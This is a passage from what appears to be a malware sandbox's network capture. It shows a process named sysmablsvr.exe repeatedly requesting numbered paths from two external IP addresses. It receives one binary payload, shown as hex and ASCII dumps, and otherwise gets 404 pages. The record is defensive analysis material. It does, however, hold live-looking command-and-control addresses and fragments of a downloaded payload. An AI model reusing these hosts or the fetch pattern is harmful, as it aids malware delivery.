Sep 17, 2024 23:12:28.823796034 CEST	1236	IN	Data Raw: e6 60 47 db 45 50 53 04 e8 8f bb 01 e6 3b 2c 49 c8 88 f8 05 73 83 21 8b 9e 94 42 ff f9 f0 a9 0b e3 3a 00 04 1e 3d a5 44 c2 ea b7 ad 51 bb 98 b2 b8 3a e4 a0 ca c6 c8 44 0c 9a 76 d4 5b b0 88 4d e2 52 c6 c9 e2 40 0e 53 58 ee 61 9a 25 6f 20 1e f7 81 Data Ascii: `GEPS;,Is!B:=DQ:Dv[MR@SXa%o '!Y\| `'qC=BQ<>K@#V/E_y~IA_sfZ&:Ie4vz}T\;c$xqLH&(PigNCkH,o<\|MR
Sep 17, 2024 23:12:28.823827982 CEST	1236	IN	Data Raw: 25 06 23 e1 26 62 a9 9d 56 7d c1 d8 30 4d df df db c6 ad 88 42 7e 6f f6 61 a3 6d 2d 2f 90 7b 14 07 e5 4d 2d d7 ba 3a 74 9a 82 dd a8 40 84 e5 09 e7 e5 db 3a 97 cf a0 4c b5 a7 61 10 de 2e 81 8c 61 f6 73 67 87 64 62 80 b9 d8 07 cb 91 fd 9a 5b 7f 31 Data Ascii: %#&bV}0MB~oam-/{M-:t@:La.asgdb[1fHeb@6M9N#4-z2D? ,L2Xp#L_LQ@\PWJp+bv;SBigrB^wNI:hdsNyz_0jZ{B:a)
Sep 17, 2024 23:12:28.823868990 CEST	1236	IN	Data Raw: f8 21 ce 6e ad 25 96 e5 18 4a 78 3c 12 b1 99 ae c3 8f 43 2b 07 03 b4 9a c8 94 9b c2 6e 16 e2 d9 9e 80 f4 30 01 71 49 1e fd f8 1a a3 44 83 8a 10 66 62 77 e7 54 4e 0f 59 a9 d5 a8 4c da 33 66 c9 f6 86 cb 6e 5b a3 66 4a 88 22 7a 3b c6 87 c8 31 5e bd Data Ascii: !n%Jx<C+n0qIDfbwTNYL3fn[fJ"z;1^S-*on}iKw{3tgiqzSu>e8KLK>0Bk8V#8kqME;A+!+![."-%J}]]~P/g
Sep 17, 2024 23:12:28.823914051 CEST	1236	IN	Data Raw: 12 5a 89 f7 4f a1 8e 4c ee 8f 36 8b b8 88 83 f1 07 0c f4 e1 56 6c 77 d2 98 ff 81 95 62 31 5b c5 87 eb 62 79 c1 b8 e2 96 8f 49 c4 b2 c5 fe d5 b0 7a 17 93 b4 12 5f ef a9 97 ae 5c 2f d5 dc 57 df 59 1d f0 64 64 44 e8 6c 73 70 06 10 94 17 6b 19 49 18 Data Ascii: ZOL6Vlwb1[byIz_\/WYddDlspkI[$i]9K7EuT>75}BexrxZ"RvMEhoY%;%$/n3k$~k;WvHc\|*~,)DC
Sep 17, 2024 23:12:28.823950052 CEST	1236	IN	Data Raw: d4 20 32 98 00 e1 df 64 5b 58 ab c9 35 fb 1b b9 30 ff 65 fd 21 55 45 0c 0a 91 6f 03 c6 9a 3d 06 92 7d 75 e2 04 0c f1 a6 ee c0 40 3f d4 b4 c2 c4 6a 1a 8c 46 35 64 f6 0d a5 da 51 49 c5 8b b5 5d a2 e8 6e 10 73 8f 19 23 91 ec 54 31 3e 8e 01 a2 2a 8b Data Ascii: 2d[X50e!UEo=}u@?jF5dQI]ns#T1>hcIX;:*O`8'((6+i:z?W2=gABW?r)p^m;o[SMsZ6M-=&]vQz~yTtR`./TS
Sep 17, 2024 23:12:28.829000950 CEST	1013	IN	Data Raw: 5a 8a 76 10 cf c9 40 f7 c8 bb a5 2f 77 69 51 7b 86 f5 15 44 e4 96 49 9f 65 7c f2 11 8b ca 6e 39 9b ce 63 69 95 2f 52 5c 97 aa fa 6d cd 26 f5 37 8e 30 b9 db fd b2 dd 52 a4 64 ef aa b5 78 7c a3 8b b6 41 47 a5 47 06 00 74 2c e8 ac c5 7f 2a e7 10 b7 Data Ascii: Zv@/wiQ{DIe\|n9ci/R\m&70Rdx\|AGGt,*^V-#$0}V3-YX/dAmKWfA?jx)~zD~{-_~%ec&f/XTTXxu{P[wj1vZ`vE6t>8Of'P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49820	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:35.284993887 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:35.986341000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:35 GMT Content-Type: application/octet-stream Content-Length: 7936 Last-Modified: Wed, 11 Sep 2024 10:30:26 GMT Connection: keep-alive ETag: "66e17142-1f00" Accept-Ranges: bytes Data Raw: 2e 7e f0 5e 84 6b f0 eb 96 ea 4a 6a d8 5c 77 e1 0b 06 58 4d 99 2c 1c 04 2f ab f2 50 5c 0c 95 19 8b 0a b6 9e 12 c0 c5 a8 d5 56 11 38 8f 5a 61 6f 19 90 c7 21 70 7f ee 82 f6 69 81 73 e3 fe da 22 ae 77 39 00 16 34 6f 1a 91 a1 f1 d0 db 37 76 be 4b 27 f1 36 32 8d 2e fd 5e cf b1 00 eb 4b 72 16 21 fd 5c af 45 41 d6 dc 46 a7 a7 e4 45 2e 69 9b 06 a3 32 f4 2b 33 80 bb af 3b f3 5f ad 27 90 a3 00 e9 46 fd 3c 04 0e c1 67 84 7e 9c 01 83 74 da e3 d2 f0 ab 40 1c 53 24 d1 7c 12 d9 02 5e fb a8 0e 2f 33 2d 18 4d 12 2a 24 2d d6 3a 4f 0d 0a 00 b1 76 b9 36 1d 63 79 91 40 ae ce 13 9c d5 a6 70 91 ba 2d cc fb 81 2c 3a 62 fc 77 e1 a0 26 41 29 95 b0 01 1f b1 1e cc 7d fe 6e 33 68 b8 ad 89 e6 44 48 3e c9 67 be 8e 5f c5 22 f6 97 b0 e0 6b ec a6 b0 ca 48 a4 be 6a f0 74 98 ba 90 11 74 b3 2f 03 da 20 16 56 df e7 78 73 60 c7 81 c6 06 ee 5c ff fa 65 60 8b d1 30 e8 2e 41 f1 b3 e8 20 39 24 a6 dd 9d 32 8f ed 28 25 51 fe 08 50 97 5b ca a9 8a e9 8d 34 8c 38 5d 8d 79 3d 26 ab cb 83 d5 9b 9d a9 20 d6 17 ed 94 d9 df cd 3b 61 02 b3 45 55 c0 de [TRUNCATED] Data Ascii: .~^kJj\wXM,/P\V8Zao!pis"w94o7vK'62.^Kr!\EAFE.i2+3;_'F<g~t@S$\|^/3-M*$-:Ov6cy@p-,:bw&A)}n3hDH>g_"kHjtt/ Vxs`\e`0.A 9$2(%QP[48]y=& ;aEUzrgRGX{Hi\|IUeR9.!HJYCou=3_wev,qbsbT9BX'F,DnBoiYSgDzp.IA+V.QcRhXu>N![2V]pLXe%kYR#rOBoRust[cJv6\|+$kv:?c8jO)~m><X`Vk,.d+z})P\|~h?n)W,H;]6~}RZ_Zjx"~?mkV";G`mN$+_R~lwR!LoQ_gzfg6:FfvJr-t`i;w$K\P9!jtErORbT\|[`WK^&bO50omvD0w:]CLW
Sep 17, 2024 23:12:35.986388922 CEST	1236	IN	Data Raw: a4 17 e7 bb 21 6c dd 35 58 41 57 e9 a9 92 ec 85 6f 50 16 1e 1c 67 80 62 32 9a 78 28 be 5d c5 c2 07 8f 75 83 8b 99 bf 65 68 45 29 25 90 da 08 b9 0f f3 5c a8 1f ff 5b 9b a1 ea bc e2 dd d8 8f 99 11 db 43 82 1b 7c 82 21 62 4b 2c cc d3 18 19 1e 3b 06 Data Ascii: !l5XAWoPgb2x(]uehE)%\[C\|!bK,;TSdr34S^sfN[8fob.4Zj=,lD<0jb<8epOLLTtcA7$V~M1o"hn8}-IEG;ukG(3~-%Ox
Sep 17, 2024 23:12:35.986409903 CEST	1236	IN	Data Raw: ae 92 f8 4d f8 fb 4d 72 90 01 3c 84 3a 9a 7d a2 ea 6b de 64 5d a1 b8 a7 09 27 4b b0 22 83 60 80 73 64 ad 8e 6b b1 a8 01 f2 30 67 68 f3 6d 8d 2a 15 d0 0e e6 57 14 3d 80 12 31 6e cd d1 69 54 08 f5 57 0b d4 66 d7 14 1e d4 55 58 81 55 7b 60 87 47 dc Data Ascii: MMr<:}kd]'K"`sdk0ghm*W=1niTWfUXU{`GZgqd8n%{VF^[I;Q+6-/XAP>!-:@OAivkGs^'5D@6A`Z-Uk+7.+"eG1m-tq:9KkE@IUit )gq
Sep 17, 2024 23:12:35.986664057 CEST	1236	IN	Data Raw: 31 eb c5 84 d3 20 2f 07 09 a7 37 f8 ae 53 30 23 27 67 d7 43 83 38 0e 19 73 18 bf 7d a1 58 31 9a b3 ef d8 a9 e3 6f 08 81 7e 32 a3 fd ff 8a db bb db 3d 54 ac 98 e6 cd da 6c 72 22 78 f0 93 85 38 aa c5 b8 4b cb c8 77 9a 69 64 2d c9 6f 65 86 79 21 a3 Data Ascii: 1 /7S0#'gC8s}X1o~2=Tlr"x8Kwid-oey!^2_J{\|a'ELt5~VdV0+XaJTSeA&y%}m`w/Ne0timv(67*o~<y5irt qEJ_km
Sep 17, 2024 23:12:35.986689091 CEST	1236	IN	Data Raw: 6e 99 2e ee 27 8f 45 e7 c3 9f ff 48 d8 8e 64 30 01 e1 7a cd a9 45 00 59 89 b5 8f 4b 38 88 44 42 58 33 c6 6e 68 54 5d d8 25 99 35 ec e0 8c 26 9f 2b 52 5e 93 f6 32 52 24 d4 2e f0 09 69 e6 ce 64 0b 37 cb 86 99 3f 11 f0 a7 e8 f4 b7 01 40 34 d5 66 ec Data Ascii: n.'EHd0zEYK8DBX3nhT]%5&+R^2R$.id7?@4fVV^iPH`z%"Np"\((0tYC9"d?7%2[vpnH%w pAI'lZz5xXdOBZShUBIw1V(,
Sep 17, 2024 23:12:35.986706018 CEST	1236	IN	Data Raw: 29 ac ec ff 2d 61 a7 3d b7 e2 f3 67 19 3e 4c 75 78 c2 75 e3 69 cf 69 cd 5e 47 69 a9 ad 6b 7b 74 14 c4 42 6c 16 a9 59 7a d2 94 14 3a 34 4e cf 19 32 94 31 b3 3c 16 60 0d 71 97 c7 0e b9 66 1e 93 d3 44 09 71 2b d9 f1 4c 78 e8 8c 97 2a 8b fd f3 e4 3b Data Ascii: )-a=g>Luxuii^Gik{tBlYz:4N21<`qfDq+Lx*;(`>U/PP"~LE4A\|p8 x0'7!uAs'AY6JU,X&J#y:OvY!Z0?kUX\iA
Sep 17, 2024 23:12:35.986722946 CEST	776	IN	Data Raw: f6 a9 46 ee 72 66 ef 41 e4 f0 da f5 92 a0 64 03 c8 6c 69 f9 1c c8 62 6b bb 8b cc c2 57 c7 93 e8 fe 6b bc b8 56 75 3b 3c 8d 5e 70 e5 db 13 b9 26 33 06 ad 83 55 46 35 93 bf e2 95 dc c6 65 1b 90 ef c6 e6 3f 2d aa f3 95 85 3a 18 8a 6e 41 66 39 8b 82 Data Ascii: FrfAdlibkWkVu;<^p&3UF5e?-:nAf9l8IT'=\|#]$(-ZIH~]Ho7z6=b,0@;srg>bxia!)8d;kX0c2S}6vn_9cdPxJ5Abq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49821	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:38.028651953 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:38.728172064 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:38 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49823	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:40.760751009 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:41.466754913 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:41 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49825	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:44.085854053 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:44.777846098 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:44 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49826	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:46.807213068 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:12:47.533663988 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:47 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49828	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:50.684051037 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:12:51.404925108 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49829	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:53.434623957 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:12:54.150146008 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:54 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49831	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:56.183052063 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:12:56.870342970 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 